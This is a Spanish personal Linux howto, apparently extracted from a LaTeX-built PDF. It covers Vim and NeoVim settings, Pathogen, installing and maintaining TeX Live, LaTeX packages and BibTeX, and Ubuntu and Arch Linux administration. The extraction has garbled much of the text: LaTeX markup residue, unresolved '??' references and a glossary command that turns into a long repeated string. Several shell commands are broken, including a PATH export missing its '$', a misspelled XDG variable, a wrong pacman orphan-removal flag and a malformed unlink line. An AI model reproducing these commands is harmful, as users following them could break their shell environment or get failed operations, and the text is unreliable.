Algo que suelo hacer en Vim es permitir el autoindentado (*autoindent*). Con esto consigo que, si estoy escribiendo en una línea con indentación y pulso *intro*, el cursor aparecerá en la línea siguiente pero con la misma indentación, lo cual es bastante cómodo.

2.14 Introducir comentarios en vimro

El carácter para comentar líneas en Vimscript es el signo de comillas (").

2.15 Espacios o tabs en indentación

Para establecer que se usen espacios en lugar de tabs, deberá poner:

```
:set expandtab
```

Si desea que se usen tabs, basta con no poner nada. Pero si ya había establecido que se usaran espacios, deberá entonces introducir:

```
:set noexpandtab
```

Tenga en cuenta que, aunque cambie esta opción, no cambiará lo que ya ha escrito. Es decir, los indentados seguirán estando como antes. Lo que puede hacer, si desea pasar todo a la nueva forma de trabajar que acaba de descubrir, es seleccionar (vea 2.7) y recuadrar su texto (vea ??).

2.16 Hacer automáticamente roturas de líneas

Para dar cierto formato al texto en Vim, se pueden hacer varias cosas. Si lo que desea es que el propio Vim haga el salto de línea por usted creando al final de la línea una rotura de línea (*line break*) realmente, puede hacerlo simplemente estableciendo la anchura del texto (*text width*):

```
:set tw=\langle tw \rangle
```

donde $\langle tw \rangle$ es la anchura que desee establecer. Yo, por el ordenador que uso y la resolución que empleo normalmente para Vim, suelo darle un valor de 112. Podía haber puesto textwidth en lugar de tw. Si desea recuadrar el texto para producir las roturas de línea porque, por la causa que sea, no se encuentran cuadradas, puede ver cómo hacerlo en $\ref{eq:control}$?

2.17 Agregar o eliminar nivel de indentación

Para agregar un nivel de indentación a varias líneas, deberá primero seleccionarlas (vea Seleccionar texto) y luego pulsar $\uparrow \uparrow + <$ (es decir, habría que hacer lo mismo que se hace para introducir el símbolo >). Para quitar un nivel de indentación, se hará de forma análoga solo que con c (sin c).

2.18 Insertado múltiple

Con la combinación ctrl + v, se pasa al modo visual block, con el cual puede facilitar la tarea de editar ficheros enormemente. En este modo se pueden seleccionar partes del texto como si de un rectángulo se tratase.

Una vez que esté en este modo, puede eliminar las primeras n columnas de los renglones de texto que ha seleccionado. Esto lo conseguiría pulsando s; elimina dichas columnas y le deja a usted en modo insert.

También puede insertar, si lo desea, lo que quiera a los primeros n renglones simplemente seleccionando en modo visual block un rectángulo de texto de estos renglones (da igual el número de columnas que seleccione) y pulsando luego $\uparrow \uparrow + i$ (es decir, la i mayúscula). Ahora debería hacer el insertado en el primer renglón de lo que quisiera introducir a todos y luego, al pulsar esc, se aplicaría a todos los que fueron seleccionadas.

2.19 Usar envoltura de texto

Si, en lugar de usar roturas de líneas (vea ??), desea usar envolturas de texto (text wrapping) deberá establecerlo con:

```
:set wrap

Para deshabilitarlo,
```

2.20 NeoVim

Ahora mismo suelo usar NeoVim, pues creo que lo que pretenden crear es una versión de Vim que, aun manteniendo la compatibilidad casi al 100 %, traerá muchas mejoras subyacentes.

Instalar NeoVim es fácil. Por ejemplo, puede usar Brew en Mac OS X:

```
$ brew install neovim/neovim/neovim
```

También se aconseja, tras la instalación, actualizarlo a la última versión:

```
$ brew update
$ brew upgrade neovim
```

o apt-get, en Debian, Ubuntu, etc. Una vez que lo haya instalado, deberá establecer sus directorios de configuración para NeoVim.

Para usar en NeoVim la configuración de Vim, deberá introducir, en su shell,

```
$ mkdir -p ${XDG_CONFIG_HOME:=$HOME/.config}
$ ln -s ~/.vim $XDG_CONFIG_HOME/nvim
$ ln -s ~/.vimrc $XDG CONFIG HOME/nvim/init.vim
```

Como ve, lo que ha hecho es crear varios vínculos simbólicos que apuntan a sus directorios/ficheros de configuración de Vim. La variable \$HOME, en Mac OS X, será /Users/<usuario>/; en Linux, /home/<usuario>/.

También puede olvidarse de Vim y usar sus propios directorios y ficheros de configuración para NeoVim. Quizás esto lo haga más adelante.

Todo lo que se explica aquí, puede encontrarlo, con mayor detalle y mejor expresado (aunque en inglés), en el fichero de ayuda de Vi nvim-intro. Es decir, abra NeoVim y, en modo normal, introduzca :help nvim-intro. Los enlaces de dicho fichero se "pinchan" con ctrl + l.

2.21 Pathogen

Pathogen es un plugin de Vim (y NeoVim) que le permitirá instalar otros plugins de forma muy sencilla. Si desea instalar Pathogen en Vim/NeoVim usando Git, deberá introducir lo siguiente:

```
$ mkdir -p ~/.vim/autoload ~/.vim/bundle && \
$ curl -LSso ~/.vim/autoload/pathogen.vim https://tpo.pe/pathogen.vim
```

Tenga en cuenta que, si usa NeoVim y lo tiene configurado independientemente de Vim (o si sólo tiene NeoVim), es decir, si sus ficheros y directorios de configuración no están vinculados con los de Vim, deberá cambiar algo en el listado anterior. En concreto, si usa el esquema XDG y, por tanto, tiene sus ficheros de configuración de NeoVim bajo ~/.config/nvim/ (repito, sin estar vinculados a los de Vim), debería introducir algo así:

```
$ mkdir -p ~/.config/nvim/autoload ~/.config/nvim/bundle && \
$ curl -LSso ~/.config/nvim/autoload/pathogen.vim https://tpo.pe/pathogen.vim
```

pág. 40 — Howto – Linux y Mac OS X

Una vez que tenga correctamente instalado Pathogen, puede instalar otros plugins de Vim/NeoVim muy fácilmente. Por ejemplo, si desea instalar Nerdtree en Vim deberá hacer lo siguiente:

```
$ cd ~/.vim/bundle
$ git clone https://github.com/scrooloose/nerdtree.git
```

En NeoVim (si, al igual que antes, usa el esquema de configuración XDG y no tiene sus ficheros de configuración de NeoVim vinculados a los de Vim),

```
$ cd ~/.config/nvim/bundle
$ git clone https://github.com/scrooloose/nerdtree.git
```

Capítulo 3

TEX y LATEX

El único modo en el que se pueden conseguir ciertas cosas a la hora de componer textos de gran calidad es mediante el uso del lenguaje TEX o alguno de sus paquetes de macros, como LATEX o ConTeXt. En Linux, la mejor implementación para su uso es la distribución de paquetes TEX Live.

3.1 Instalar TEX Live en Linux

Para elaborar este tutorial, me he basado, además de en la docuentación oficial de TEX Live (http://www.tug.org/texlive/quickinstall.html), en el comentario del usuario Silke, en este hilo (http://tex.stackexchange.com/questions/1092/how-to-install-vanilla-texlive-on-debian-or-ubuntu) de los foros de TEX de Stack Exchange. Al final he optado por hacerlo de una forma algo personal. Se trata de una instalación para el grupo de usuarios tex, que previamente a la instalación deberé haber creado.

La mejor forma de instalar TEX Live es desde el script instalador con nombre install-tl que hay en su web para descargar. Es mejor que con cualquier gestor de paquetes de Linux, tales como apt-get en Ubuntu, o DNF en Fedora. Esto me permite tener más actualizados los paquetes que componen TEX Live. Cada año por verano sale una versión nueva de TEX Live. La última es la de 2015, que salió el 24 de junio.

Lo primero es descargarse de http://www.tug.org/texlive/acquire-netinstall.html el archivo install-tl-unx.tar.gz:

```
$ wget http://mirror.ctan.org/systems/texlive/tlnet/install-tl-unx.tar.gz
```

Luego lo descomprimirá donde quiera (puede valer dentro de ~/Downloads/, por ejemplo)

```
$ tar zxvf install-tl.tar.gz
```

Antes de seguir con la instalación, debe limpiar las instalaciones existentes que tenga de TeXLive:

```
# rm -rf /usr/local/texlive/\langle a\tilde{n}o\rangle/# rm -rf ~/.texlive\langle a\tilde{n}o\rangle/
```

donde ⟨año⟩ es el año de la versión de TEX Live que tenía instalada y desea eliminar; las versiones de TEX Live se sacan anualmente, normalmente en verano. Puede que tenga más de una versión instalada. Lo mejor en dicho caso sería eliminarlas todas e instalar la última. Realmente no es necesario eliminar las instalaciones anteriores para instalar otra; pueden coexistir varias a la vez. Cada una se encontraría en su directorio /usr/local/texlive/<a\~no>/, donde ese ⟨año⟩ es donde se separan las distintas instalaciones.

Ahora deberá preparar el directorio /usr/local/texlive/. Seguramente, si ya existe, tendrá como dueño a root, será del grupo de root y los permisos Unix que tiene serán 775. Según mi método, deberá primero crear en su sistema el grupo tex:

groupadd tex

Ahora, cambiar el grupo del directorio:

```
# chown root:tex /usr/local/texlive/
```

Ahora, asignar permisos de escritura para dicho directorio a los miembros del grupo tex:

```
# chmod g+w /usr/local/texlive/
```

Una vez hecho esto, deberá añadir al/los usuario(s) que desee al grupo tex

```
# usermod -aG tex \langle n\_usuario \rangle
```

Cuidado, no olvide la opción a; si lo hace, dicho usuario perderá todos los demás grupos a los que pertenecía. Ahora puede comprobar que el usuario $\langle n_usuario \rangle$ pertenece al grupo tex:

```
# groups (n usuario)
```

Ahora deberá ejecutar el instalador pero con el usuario $\langle n_usuario \rangle$. Para ello, entre en el directorio donde haya desarchivado y descomprimido el archivo install-tl-unx.tar.gz, que ahora sería simplemente install-tl- $\langle a\tilde{n}o \rangle \langle mes \rangle \langle d\tilde{n}a \rangle$ y, una vez dentro del mismo, ejecute desde el shell:

\$./install-tl

Ahora aparecerá una pantalla interactiva sobre qué desea hacer. Para instalar basta con pulsar i y luego intro. Como puede ver en la Quick Install, existen varias opciones a la hora de instalar. Si lo hace como he explicado aquí, se le instalarán todos los paquetes de TeX Live, cosa que tarda un un rato, aunque es algo que se puede hacer en un terminal mientras se hacen otras cosas y no consume casi nada de recursos ni ancho de banda. Se pueden cambiar algunas opciones antes de la instalación, pero las predefinidas creo que bastarán a casi todo el mundo. Aun así, esas opciones pueden cambiarse dentro del *.tex para cada documento en particular. Al hacer la instalación completa, además de LATEX, PDFLATEX y Plain TeX, también pueden usarse, XeTeX, LuaTeX y ConTeXt, aunque yo prefiero seguir usando LATEX, pues en los otros no encuentro tantos paquetes.

Ahora hay que hacer algo importante, pues, si no se hace, no se podrán ejecutar los comandos de LATEX. Lo que se debe hacer es agregar, de forma permanente, la dirección donde se encuentran los ejecutables de LATEX a la variable de entorno PATH del usuario (o de los usuarios) que vaya(n) a usar TEX Live. Existen muchas formas de hacerlo; puede ver una explicación de las distintas formas en http://stackoverflow.com/questions/14637979/how-to-permanently-set-path-on-linux. Primero deberá crear un vínculo simbólico:

```
# ln -s /usr/local/texlive/\langle a	ilde{n}o \rangle/bin/* /opt/texbin
```

Ahora deberá añadir la ruta /opt/texbin a su variable de entorno PATH:

```
\ echo 'export PATH=PATH:/opt/texbin' >> /home/<math>\langle user \rangle/.bashrc
```

Ese ⟨user⟩ es porque mi directorio personal es /home/<user>. Ahora debe cerrar su sesión y volver a entrar, para que los cambios tengan efecto; o, si lo prefiere, reinicie su sistema. Puede ver, tras el reinicio/reentrada, cómo ha quedado la variable de entorno PATH con:

```
$ echo $PATH
```

También puede comprobar que ha modificado correctamente la variable PATH:

```
$ which tex
/opt/texbin/tex
```

Debería dar ese resultado que se muestra.

También es muy útil instalar las librerías Matplotlib, para poder representar gráficas 2D mediante la inserción de código Python en el documento (vea ??). En cuanto a las fuentes, la instalación completa de TEX Live instala muchas fuentes de gran calidad, como las Adobe Source, las TEX Gyre y las Linux Liberation (para más información, vea Instalar las fuentes Adobe Source e Instalar las fuentes Linux Libertine).

Para entornos Windows creo que es mejor instalar MiKTeX. En Mac OS X, MacTeX.

3.2 Desinstalar TEX Live

Para desinstalar la distribucioń T_FX Live de su sistema, deberá:

- Eliminar el vínculo simbólico /opt/texbin.
- Eliminar el fichero /opt/texbin de la ruta del/los usuario(s) que configuró para usar TEX Live.
- Eliminar el fichero /etc/fonts/conf.d/09-texlive.conf y actualizar la caché de fuentes.
- Eliminar recursivamente el directorio /usr/local/texlive/.
- En caso de que haya usado el paquete equivs, púrguelo.
- Si lo desea, también puede quitar del grupo tex a los usuarios. También puede eliminar, si lo desea, el grupo tex de su sistema.

3.3 Actualizar a una versión nueva de TEX Live

Para actualizar a una versión nueva de TEX Live deberá, antes de nada, instalar la versión nueva tal y como se hace normalmente (vea Instalar TEX Live en Linux). No hay problema porque

tenga dos instalaciones de distintas versiones en la misma máquina: recuerde que, bajo el directorio /usr/local/texlive/ habrá varios diectorios, uno por cada año de versión de TEX Live; así que pueden coexistir sin conflicto alguno.

Luego, deberá cambiar el vínculo simbólico que tienen sus usuarios de TEX Live en PATH para TEX:

```
# unlink /usr/local/texlive/\langle a\tilde{n}o\_antiguo\rangle/bin/* # ln -s /usr/local/texlive/\langle a\tilde{n}o\_nuevo\rangle/bin/* /opt/texbin
```

Ahora, compruebe que todo funciona correctamente en la versión nueva de TEX Live. Si es así, elimine si lo desea la instalación antigua (tenga en cuenta que ocupa bastante y quizás no le venga bien mantener la antigua en su disco duro):

```
# rm -rf /usr/local/texlive/\langle a	ilde{n}o
angle/
```

3.4 Instalación de un paquete

El directorio donde se guardan normalmente los paquetes de LATEX es /usr/local/texlive/ <a\~no>/texmf-dist/tex/generic, pero no será ésa la ruta a la que debe añadir los paquetes nuevos que cree, sino a /usr/share/texmf/tex/latex. Tendrá que crear un directorio que se llame como el paquete que desea instalar. Luego, copie el fichero \(\lambda paquete \rangle\$.sty ahí. Reinicie la caché de LATEX con

\$ texhash

O

\$ mktexlsr

Aun así, si ha realizado la instalación completa de T_EX Live o MacTeX, debería tener todos los paquetes. Yo no me he visto en la necesidad de tener que instalar paquetes.

3.5 Actualizar paquetes

En http://tex.stackexchange.com/questions/55437/how-do-i-update-my-tex-distribution/55438#55438 puede ver una explicación de cómo actualizar los paquetes de su distribución de TFX Live.

Existe una aplicación de GUI de esta distribución, llamada TEX Live Manager, que se ejecuta así:

```
$ tlmgr --gui
```

Puede que le dé un error y necesite instalar el paquete perl-tk, de apt-get, si es éste el gestor de paquetes que usa en su distribución:

```
# apt-get install perl-tk --no-install-recommends
```

En DNF, el paquete es perl-Tk.x86_64, para arquitectura x86 de 64 bits.

T_EX Live Manager tiene también la opción de invocarlo desde la línea de comandos para hacer la actualización sin pasar por la interfaz gráfica. Deberá primero actualizar el propio T_EX Live Manager:

```
$ tlmgr update --self
```

Y, luego, ya podrá actualizar los paquetes:

```
$ tlmgr update --all
```

En Mac OS X necesito permisos de administrador para ejecutar estos comandos. Tengo que averiguar cómo se hace la instalación para poder invocarlo con mi usuario sin usar sudo. La ruta absoluta del comando tlmgr es /usr/local/texlive/\val{a\~no}/bin/x86_64-linux/, y se invoca porque /opt/texbin está en la variable de entorno PATH del usuario y /opt/texbin es un vínculo simbólico a /usr/local/texlive/\val{a\~no}/bin/x86_64-linux/

Existe otro comando, mejor, para actualizar los paquetes:

```
# tlmgr update --self --all --reinstall-forcibly-removed
```

Creo que los paquetes se actualizan durante el año que dura su versión de distribución. Cuando salga una versión nueva, deberá entonces actualizar la distribución completa para poder seguir teniendo actualizados los paquetes (vea Actualizar a una versión nueva de TEX Live).

3.6 Documentación

Tengo varios documentos que he hecho para tener como referencia en varios campos. El *Howto — Linux*, por ejemplo, es decir, este mismo documento, es un documento en el que explico asuntos sobre la instalación, configuración y uso de cierto software que uso en Linux, aunque la mayoría existe también para otras plataformas, como Microsoft Windows, por ejemplo. La mayoría de estos documentos están hechos con LATEX y tienen bastante trabajo. Los preámbulos los guardo en el directorio /home/zfur/Dropbox/Documentos/importante/latex/; también están en dicho directorio la sección general sobre notación que uso en la mayoría de mis documentos (notacion-artcl.tex) y las bases de datos de BibTeX. Estos ficheros los usaré como base, pero pueden ser complementados con ficheros de preámbulo o notación en el mismo directorio que los demás que forman el documento en concreto.

Lo normal es usar el comando \input para introducir esos preámbulos o sección de notación. Por ejemplo,

```
\input{/home/zfur/Dropbox/Documentos/latex/frmat-artc.tex}
\input{/home/zfur/Dropbox/Documentos/latex/lang-sp.tex}
\input{/home/zfur/Dropbox/Documentos/latex/pre-base.tex}
\input{/home/zfur/Dropbox/Documentos/latex/pre-artcl.tex}
```

podría usarse para un artículo. Es necesario que se pongan en ese orden. También puedo poner después un fichero de preámbulo del propio documento, pero sólo lo creo cuando modifico muchas cosas para ese documento; lo normal es que sean muy pocas y, por tanto, las dejo en el fichero principal que llama a los demás.

3.7 BibTeX

Tengo una base de datos de BibTeX con los libros que puedo usar como referencia. Esta base de datos irá creciendo continuamente. Estoy pensando en crear también una base de datos de webs de interés. La base de datos de libros está en el fichero /home/zfur/Dropbox/Documentos/latex/bib1.bib. Las entradas las escribo con minúscula, que también se puede, aunque mucha gente siga la costumbre antigua de poner en mayúsculas los nombres de los campos. Una cosa que hago como configuración para todos mis documentos de TEX es que dichas referencias bibliográficas usen el estilo alpha: \bibliographystyle{alpha}; al ser para todos los documentos, tuve que configurarlo en /home/zfur/Dropbox/Documentos/latex/pre-base.tex. A la hora de hacer uso de estas referencias en un documento de LATEX, he intentado seguir las explicaciones de [KD04], pero he terminado haciéndolo de otro modo que me gusta más; aquí explico cómo.

Lo primero es introducir una sección de referencias, con el comando \bibliography, en el documento de LATFX. En mi caso,

\bibliography {/home/zfur/Dropbox/Documentos/latex/bib1}

para el fichero bib1.bib, en esa ruta absoluta que se indica. Advierta que no he puesto la extensión de nombre de fichero (.bib). Si se pone, luego, a la hora de enlazar, buscará en el fichero bib1.bib.bib (está hecho así, bastante mal). En bib1.bib se encuentra la base de datos de BibTeX en la que guardo los libros, artículos, etc. a los que puedo hacer referencia. Normalmente, prefiero que la sección de referencias sea un apéndice, por lo que deberá estar tras el comando \appendix. No tiene por qué ser la primera sección de apéndice, así que no tiene por qué ir inmediatamente después de dicho comando.

Luego, para insertar una referencia, dentro de un documento, a la lista de referencias, deberá usar el comando $\cite{<clave>}$, $\citep{<clave>}$ o $\citet{<clave>}$, donde $\citec{clave>}$ es la cadena usada como referencia en la entrada en la base de datos.

Finalmente, para crear el documento de LATEX, deberá hacer ahora otra cosa. Deberá primero ejecutar el programa de paginación como hace normalmente: pdflatex, xelatex, etc.:

\$ pdflatex howto-linux.tex

Luego, deberá ejecutar, sobre el programa bibtex, el fichero *, aux creado:

\$ bibtex howto-linux.aux

dos veces. Esto sólo se hará cuando modifique la base de datos, es decir, el fichero *.bib. Y, finalmente, ejecutar otra vez el programa de paginación. Si no ha modificado la base de datos, podrá crear el documento de LATEX como siempre lo ha hecho: pdflatex, xetex, context, etc.

3.8 Paquetes que suelo usar

LATEX es en realidad un paquete de macros de TEX. No es el único, hay otros como ConTeXt, más modernos. Aun así, sigo prefiriendo usar LATEX porque es el que más gente usa y en el que más

ayuda puedo encontrar a la hora de buscar soluciones. No obstante, he de reconocer que Con-TeXt es bastante más amigable. Se supone que la versión 3 de LATEX será mucho más amigable y coherente y no habrá que estar usando paquetes para casi todo; otro asunto es cuándo saldrá.

Los paquetes que suelo usar en LAT_EX tan a menudo que han reemplazado a los originales de la versión LAT_EX2e son:

tabu Este paquete permite hacer muchas cosas en relación a la creación de tablas que con los paquetes antiguos como tabular, por ejemplo, eran muy difíciles. Permite crear, además de las columnas tradicionales (1, c, p, etc.), columnas X, que son elásticas. Así, se pueden tener columnas fijas y columnas elásticas dentro de una misma tabla. Si desea usar el comando \lstinline dentro de una tabla, deberá entonces usar tabu*, en lugar de tabu.

colortbl Está relacionado con tabu. Permite definir el color de los fondos de las celdas de una tabla.

siunitx Este paquete es muy conveniente para la notación de las unidades en ciencia y tecnología, así como permite gran versatilidad en el uso de los numerales.

hyperref Permite controlar los hiperenlaces y cómo se resaltan.

xcolor Permite el empleo de muchos más colores de los que trae de fábrica LATEX2e.

graphicx Permite la inclusión de gráficos en formato PDF, PNG o JPEG, por ejemplo.

verbatim Para introducir código de forma muy directa sin preocuparse de introducir escapes.

fancyvrb Para poder usar entornos verbatim pero con la posibilidad de introdicir comandos para que, por ejemplo, parte del texto esté en negrita, o en colores, o para que se pueda usar gobble.

titlesec Para modificar la apariencia de los encabezados de capítulos, secciones, etc.

url Permite usar el comando \url, para introducción de URLs, o \path, para introducir rutas de ficheros.

nameref Con este paquete puedo usar referencias al nombre de una sección, tabla, figura, etc., y no sólo a su número.

inputenc Codificación del fichero de entrada. Suelo usar siempre el estándar UTF-8 de Unicode.

fontenc Codificación de fuentes.

titling

amsmath Paquete de la American Mathematical Society (AMS) para mejoras en la tipografía de notación matemática. Es bastante conveniente.

python Sirve para usar código Python en documentos de LATEX. Yo lo uso para hacer gráficos con las librerías Matplotlib.

enumitem Sirve para crear nuevos tipos de listas a partir de las predefinidas de LATEX, es decir, a partir de itemize, enumerate y description.

dtklogos Permite insertar los logos relacionados con el mundo T_EX, como, por ejemplo, Con-TeXt, XeTeX, MiKTeX, etc. Cuando instalé la versión de 2015 de T_EX Live, no fui capaz de usar más este paquete. imakeidx Para crear un índice de palabras clave. Es más moderno que el método básico de LATEX2e.

glossaries Para hacer glosarios.

floatrow Para poder poner figuras en paralelo para que no ocupen tanto espacio.

tikz Para hacer gráficos. Es una monstruosidad este paquete. El manual tiene muchas páginas.

circuitikz Para representar esquemas de cirtuitos eléctricos y electrónicos, ya sean de teoría básica de circuitos, de electrónica analógica o de electrónica digital, etc. Este paquete emplea los gráficos del paquete tikz, así que se podría considerar un subpaquete de aquél pero hay que llamarlo con \usepackage{} como a cualquier otro paquete.

listings Para hacer listados de código de programación. Dentro de los paquetes para esta función, creo que es el mejor. Aun así, no me parece muy bueno. Da problemas con los esquemas de colores de Vi y derivados; por ejemplo, considera el signo \$ como que abre/cierra el entorno display math. Puede modificar su esquema de colores o usar el de alguien; por ejemplo, vea http://stackoverflow.com/questions/6738902/vim-syntax-highlighting-with-and-lstlistings-lstinline.

3.9 Crear un glosario

Normalmente, creo un glosario en un documento cuando el documento es bastante grande. Al ser el documento grande, suelo hacer los capítulos o secciones (según se trate de formato book o article, respectivamente) como ficheros separados a los que luego llamo dentro del fichero principal con el comando \input.

Así, pues, suponga que desea incluir el preámbulo en un fichero llamado preamb.tex en el mismo directorio que los demás que forman el documento de LATEX. En este fichero preamb.tex deberá incluir:

- 1. La declaración del uso del paquete glossaries, es decir, \usepackage{glossaries}. Prefiero usar este paquete al modo predeterminado que viene con LATEX2e.
- 2. El comando \makenoidxglossaries.
- 3. Las entradas del glosario, que tendrán la forma

```
\newglossarventry\{\langle entrada
angle\}\{name=\{\langle name
angle\}, plural=\{\langle plural
angle\}, description=\{\langle description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=description=desc
```

donde ⟨entrada⟩ se refiere a la referencia que uso para luego llamarlo con el comando \gls, para hacer referencia a ⟨name⟩, o \glspl, para referenciar a ⟨plural⟩. En ⟨description⟩ deberá introducir la descripción del concepto que desea explicar; no debe poner punto al final de la descripción, pues ya se encarga el comando de hacerlo por sí mismo. De estas entradas, se verán luego sólo las que se usen realmente como referencia en el texto, es decir, las que se havan referenciado mediante el comando \gls o \glspl.

Luego, en el fichero principal que llama a los demás, se deberá introducir, donde se quiera incluir el glosario, \printnoidxglossaries.

3.10 Crear un índice de palabras clave

Para crear un índice de palabras clave en algún artículo o libro hecho con LATEX, suelo usar el paquete imakeidx, pues creo que es mejor que el método básico que viene con LATEX2e. Por tanto, en el fichero pre-base. tex donde declaro los paquetes que uso para todo tipo de documentos, he introducido:

```
\usepackage{imakeidx}

Luego, en el propio documento, antes de
\begin{document}

introduciré
\makeindex[name=indice, title=\langle título\rangle, columns=2]
```

donde $\langle título \rangle$ será el título que desea que aparezca en el encabezado del índice. Debe tener cuidado pues los acentos quizás no los acepte si se introducen directamente, deberá usar en su lugar los comandos para introducir acentos como, por ejemplo, \'a para tener \(\delta \). Puede crear varios índices. Yo suelo crear uno y por eso he puesto aquí un sólo índice, pero si deseara crear varios, debería hacer un \makeindex por cada uno; éstos deberían tener distinto el valor del parámetro name.

También deberá introducir, si lo desea, algunos ajustes del índice con el comando

donde estas opciones podrían ser, por ejemplo, noclearpage, si desea que no se cree una página nueva para el índice, es decir que éste vaya corrido. Este comando deberá ir también en el preámbulo del documento.

Capítulo 4

Ubuntu

4.1 Tareas post-instalación del sistema operativo

Después de instalar Linux, concretamente, Ubuntu, que es la distribución que suelo tener siempre, pues es la más conocida y usada, debo hacer una serie de cosas:

- Instalar T_EX Live (vea ?? e Instalar las librerías Matplotlib).
- Instalar htop, que es como top pero más moderno. Sirve para ver en tiempo real el empleo de los recursos del sistema por los distintos procesos.
- Instalar tmux, que es un multiplexor de terminal. Está bastante bien por la comodidad que otorga. Había otro programa parecido, llamado Terminator, pero creo que tmux es mejor.

Si instala TEX Live, se instalarán varias fuentes de gran calidad automáticamente en la jerarquía de directorios de TEX (por ejemplo, en /usr/local/texlive/2013/texmf-dist/fonts/opentype/), como las Adobe Source, las TEX Gyre o las Linux Liberation. Si no va a instalar TEX Live y desea tener estas fuentes, he creado en este mismo directorio varios scripts de Bash para instalar estas fuentes en la ruta usual de Linux para las fuentes (/usr/share/fonts/truetype) para que puedan ser usadas por todas las cuentas de usuario de su sistema (vea Instalar las fuentes Adobe Source e Instalar las fuentes Linux Libertine).

Algo que solía configurar para el arranque de Linux es que se abra un terminal de GNOME con varias pestañas. El comando que añado es el siguiente:

```
gnome-terminal --tab-with-profile=uno --tab-with-profile=dos --working-directory=/
```

Ojo, las rutas hay que ponerlas de forma absoluta; no se puede poner ~ en lugar de /home/zfur/. No obstante, ahora prefiero ir abriéndolas yo en los espacios de trabajo conforme las necesito; se abren con la combinación de teclas alt | ctrl | + |t|.

Capítulo 5

Arch Linux

Dedico aquí un capítulo completo a la distribución Arch Linux porque creo que con ésta se puede aprender el funcionamiento interno de Linux de un modo muy práctico, aunque luego cada sistema tenga muchas particularidades. La distribución Arch Linux le "obliga" a configurar su sistema por usted mismo (en realidad, si lo desea, también puede usar instaladores que han creado, pero aquí no se usarán). Además, puede instalarla en sistemas baratos con arquitectura ARM, como, por ejemplo, el Raspberry Pi 2 (debe ser el modelo 2, puesto que es el que tiene arquitectura ARMv7), y así poder tener un sistema sólo para aprender con el que poder hacer mil cosas que le vendrán muy bien para aprender sin miedo a "estropear" nada. Una vez que aprenda, puede usar esa máquina con otros propósitos, para que no sienta que ha tirado el dinero: pupede usarla como media center, como servidor de ficheros CIFS/SMB, etc.

Gran parte de los apartados incluidos aquí hacen referencia al uso del gestor de paquetes Pacman, que es el predeterminado en Arch Linux.

5.1 Actualizar el sistema

Para actualizar el sistema, debe introducir el siguiente comando:

```
# pacman -Syu
```

5.2 Eliminar paquetes huérfanos

Para eliminar los paquetes huérfanos en su sistema Arch Linux, deberá simplemente introducir el siguiente comando:

```
# pacman -Sco
```

5.3 Reiniciar el sistema

Para reiniciar su sistema Arch Linux, deberá introducir el comando

```
# systemctl reboot
```

Debe ser root para poder reiniciar el sistema, a menos que al usuario que use en ese momento se le haya añadido al grupo power o haya configurado de otro modo que dicho usuario pueda reiniciar el sistema. El comando systemctl es del nuevo sistema de gestión de servicios Systemd, y es mejor usar este comando que

```
# reboot
```

pues Systemd finaliza del modo correcto los servicios; cosa que no hacían los comandos antiguos.

5.4 Habilitar autocompletado de comandos

Para habilitar el autocompletado de comandos en su shell, es decir, que, teniendo a medio escribir un comando en su shell, pulse la tecla tab y se termine de completar el comando, o en caso de que existan varias posibilidades, se complete hasta el punto en que coincidan dichas posibilidades y se muestren debajo dichas posibilidades, en principio no debe hacer nada en su sistema Arch Linux, pues ya viene de serie. El problema es que no viene completo. Por ejemplo, si introduce sudo o man, lo siguiente ya no tendrá autocompletado. Para solucionar esto, basta con que instale en su sistema el paquete bash-completion.

Antes, solía modificar mi fichero, bashro con lo siguiente:

```
complete -cf sudo
complete -cd man
```

Pero es mejor instalar el paquete y olvidarse, además de que no tengo que ir modificándolo "a mano" por cada software que instalo.

5.5 Cambiar los nombres de host

Para cambiar los nombres de host de cualquier sistema que use systemd, lo mejor es usar los siguientes comandos:

```
# hostnamectl --static --transient set-hostname \langle hostname \rangle # hostnamectl --pretty set-hostname "\langle descripción \rangle"
```

Estos comandos son de systemd y cambian los tres nombres de host. Cor

```
$ hostnamectl --static
$ hostnamectl --transient
$ hostnamectl --pretty
```

podrá comprobar que ha establecido los nombres que pretendía. Si aún no ha configurado los locales en su sistema a su gusto (vea Configuración de idioma(s) en Arch Linux), puede que el pretty hostname no aparezca como deseaba. Una vez cambiados estos nombres, reinicie el sistema y comprobará que el prompt del shell mostrará el nuevo static hostname.

5.6 Configurar la fecha y hora

Si su sistema usa systemd, la fecha y la hora se adquieren por NTP (network time protocol). El demonio que ejecuta dicho protocolo es systemd-timesyncd. Para Arch Linux no es necesario que cambie nada de la configuración de los servidores de NTP, pues funciona perfectamente con la que trae. Sin embargo, si desea configurar su sistema para que emplee el huso horario de España, deberá introducir

```
# timedatectl set-timezone Europe/Madrid
```

Una vez hecho esto, puede comprobar si su sistema tiene la hora que desea, introduciendo el comando date.

5.7 Crear un grupo nuevo

Para crear un nuevo grupo, basta con que introduzca

```
# groupadd \( \langle grupo \rangle \)
```

donde $\langle grupo
angle$ es el nombre del nuevo grupo que desea añadir a su sistema.

5.8 Crear una cuenta de usuario

Para crear una cuenta nueva de usuario en su sistema Arch Linux, puede introducir lo siguiente:

```
# useradd -m -g \langle grupo-p \rangle [-G grupo_1[,... [,grupo_n]]] \ > -k /etc/skel -s \langle shell-path \rangle \langle username \rangle
```

donde $\langle username \rangle$ es el nombre del usuario que desea crear. Entre las opciones que se han dado en este ejemplo están que se cree el directorio home del usuario con los mismos contenidos que hay en etc/skel/, que el grupo principal de dicho usuario sea $\langle grupo-p \rangle$, que el shell sea el que tiene su ejecutable en la ruta absoluta $\langle shell-path \rangle$ (por ejemplo, para Bash sería /bin/bash). También se especifica que el usuario pertenezca a otros grupos, además de su grupo principal. Si no estoy equivocado, $\langle username \rangle$ no debe contener mayúsculas ni símbolos de puntuación ni acentos gráficos, pero sí está permitido que tenga números siempre y cuando no lo sea el primer carácter.

5.9 Añadir a un usuario a uno o varios grupos

Deberá introducir el comando

```
# usermod \( \langle username \rangle \\ 
> -G \( \langle group1 \rangle [, \langle group2 \rangle [, \ldots [, \langle groupn \rangle]] \)
```

